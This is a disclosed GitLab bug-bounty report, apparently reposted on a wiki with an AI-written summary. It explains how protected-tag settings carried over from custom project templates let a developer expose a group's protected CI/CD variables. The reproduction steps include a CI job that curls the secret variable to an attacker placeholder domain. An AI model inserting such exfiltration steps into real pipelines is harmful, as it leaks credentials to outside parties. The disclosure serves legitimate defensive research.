Developers can steal group's CI/CD variables using custom project templates
A developer could create a project from a custom template that retained permissive protected tag settings, allowing them to push malicious code and trigger a protected pipeline that exposed the group's protected CI/CD variables. The attacker could then steal those variables by sending them to an external server.
GitLab
Originally disclosed on GitLab
- Fixed in 6 months
- Disclosed after 6 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2450288 by js_noob on 2024-04-06, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
This report is almost the same as #2431500, the team closed it without providing sufficient details, I responded but didn't get any attention, probably because it's closed. I still believe this is a high bug, so reporting again to get more details/clarifications.
The only change here is that the create from template feature in a group for developers is okay, where I though it wasn't in the last report, however, this doesn't change the impact of this.
Summary
Hello team, when a project is created using a custom template, the permission for protected branches is reset to maintainers, even if the settings in the template project allowed anyone to push to protected branches this setting is reset to only allow maintainers, this is mainly done when the import is done by someone that's not the owner.
I searched a lot in the docs, but this is not documented anywhere, this is done in:
- https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/project/relation_factory.rb#L22-23
- https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/project/relation_factory.rb#L207-213
And this can be easily verified by a couple of tests.
This is okay and better for security. But for protected tags, it's not, and it's just being persistent from the "original" template project (this is obvious in the below example/POC).
So a developer can create a project from a template that allows developers to create protected tags, in a group allowing him to steal that group's protected CI/CD variables.
This can be easily done by creating a new branch with malicious code and applying a protected tag to it, which triggers the "protected" pipeline, allowing it to steal them.
Steps to reproduce
The below is just a simple scenario of how this can be exploited, but there are a lot many, and I can provide POCs for others if requested.
As an owner:
- Create a group and apply the ultimate trial to it
- Create 2 subgroups in that group let's call them,
projectsandtemplates - Navigate to https://gitlab.com/groups/MAIN_GROUP/-/edit and under "Custom project templates", select the
templatessubgroup - In the
projectsgroup, create a protected var calledVARwith any value. We'll be stealing this later - Invite USER_2 as a maintainer to the
templatesgroup, and as a developer to theprojectsgroup
As User 2:
- In the
templatesgroup, create a new project, while having the following content in the.gitlab-ci.ymlfile
my_job:
script:
- "curl -X GET https://evil_doman.com?VAR=$VAR"
- In that project, create a protected tag wildcard target in https://gitlab.com/MAIN_GROUP/templates/PROJECT/-/settings/repository, make sure to allow developers + maintainers to create, something similar to

- Navigate to the
projectsgroup, create a project from a template, to the group section, and create a new project from the template you created in thetemplatesgroup (this shouldn't be allowed) - Create a new protected tag, and verify that the pipeline is triggered on that protected tag
- Verify that the protected variable is sent to the attacker's controlled server
Example
What is the current bug behavior?
Developers can create projects using custom templates.
What is the expected correct behavior?
Developers shouldn't be able to create projects using custom templates.
Output of checks
This bug happens on GitLab.com
Impact
Disclosure of a group's CI/CD variables to unauthorized users (developers).
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, when creating a project from a custom template, the protected tag settings are not reset to a secure default (unlike protected branches), so a developer can retain the ability to create protected tags and trigger pipelines that access protected CI/CD variables.
Impact
A developer could disclose a group's protected CI/CD variables.
What the attacker needed
GitLab Ultimate trial; Owner creates group and subgroups; Developer role in target group; Maintainer role in templates group
The fix
Developers should not be able to create projects using custom templates.
How it was found
- As an owner, create a group and apply the ultimate trial, then create two subgroups: projects and templates.
- Set the templates subgroup as the custom project templates source for the main group.
- In the projects group, create a protected variable named VAR with any value.
- Invite User 2 as a maintainer to the templates group and as a developer to the projects group.
- As User 2, in the templates group, create a new project with a .gitlab-ci.yml that sends the VAR variable to an external server.
- In that project, create a protected tag wildcard target that allows developers and maintainers to create tags.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In GitLab, CI/CD variables are secret values used in automated build pipelines. Protected variables are only available to pipelines running on protected branches or tags. The report shows that a developer could create a project from a template that kept its original protected tag settings, letting the developer create a protected tag and run a pipeline that exposed the group's protected variables.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.